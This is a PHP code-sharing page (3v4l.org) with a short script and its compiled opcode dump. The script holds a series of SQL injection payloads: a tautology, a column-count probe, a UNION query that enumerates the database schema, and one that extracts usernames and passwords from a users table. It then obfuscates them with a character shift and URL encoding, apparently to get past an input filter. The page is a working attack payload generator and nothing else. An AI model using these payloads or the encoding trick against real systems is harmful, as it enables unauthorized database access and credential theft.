3v4l.org

run code in 300+ PHP versions simultaneously
<?php $in = "')or 1=1 and id=1-- -"; $in = "')order by 3-- -"; $in = "')and 1=2 union select table_schema,table_name,column_name from information_schema.columns where table_schema=database()-- -"; $in = "')and 1=2 union select username,password,3 from note_users where id=1-- -"; $out=''; for($i=0;$i<strlen($in);$i++){ $out.=chr(ord($in[$i])+32); } print urlencode($out);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 20, Position 2 = 7
Branch analysis from position: 20
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 44) Position 1 = 20, Position 2 = 7
Branch analysis from position: 20
Branch analysis from position: 7
filename:       /in/pcjea
function name:  (null)
number of ops:  25
compiled vars:  !0 = $in, !1 = $out, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%27%29or+1%3D1+and+id%3D1--+-'
    4     1        ASSIGN                                                   !0, '%27%29order+by+3--+-'
    5     2        ASSIGN                                                   !0, '%27%29and+1%3D2+union+select+table_schema%2Ctable_name%2Ccolumn_name+from+information_schema.columns+where+table_schema%3Ddatabase%28%29--+-'
    6     3        ASSIGN                                                   !0, '%27%29and+1%3D2+union+select+username%2Cpassword%2C3+from+note_users+where+id%3D1--+-'
    7     4        ASSIGN                                                   !1, ''
    8     5        ASSIGN                                                   !2, 0
          6      > JMP                                                      ->17
    9     7    >   INIT_FCALL                                               'chr'
          8        INIT_FCALL                                               'ord'
          9        FETCH_DIM_R                                      ~9      !0, !2
         10        SEND_VAL                                                 ~9
         11        DO_ICALL                                         $10     
         12        ADD                                              ~11     $10, 32
         13        SEND_VAL                                                 ~11
         14        DO_ICALL                                         $12     
         15        ASSIGN_OP                                     8          !1, $12
    8    16        PRE_INC                                                  !2
         17    >   STRLEN                                           ~15     !0
         18        IS_SMALLER                                               !2, ~15
         19      > JMPNZ                                                    ~16, ->7
   11    20    >   INIT_FCALL                                               'urlencode'
         21        SEND_VAR                                                 !1
         22        DO_ICALL                                         $17     
         23        ECHO                                                     $17
         24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
163.62 ms | 1395 KiB | 19 Q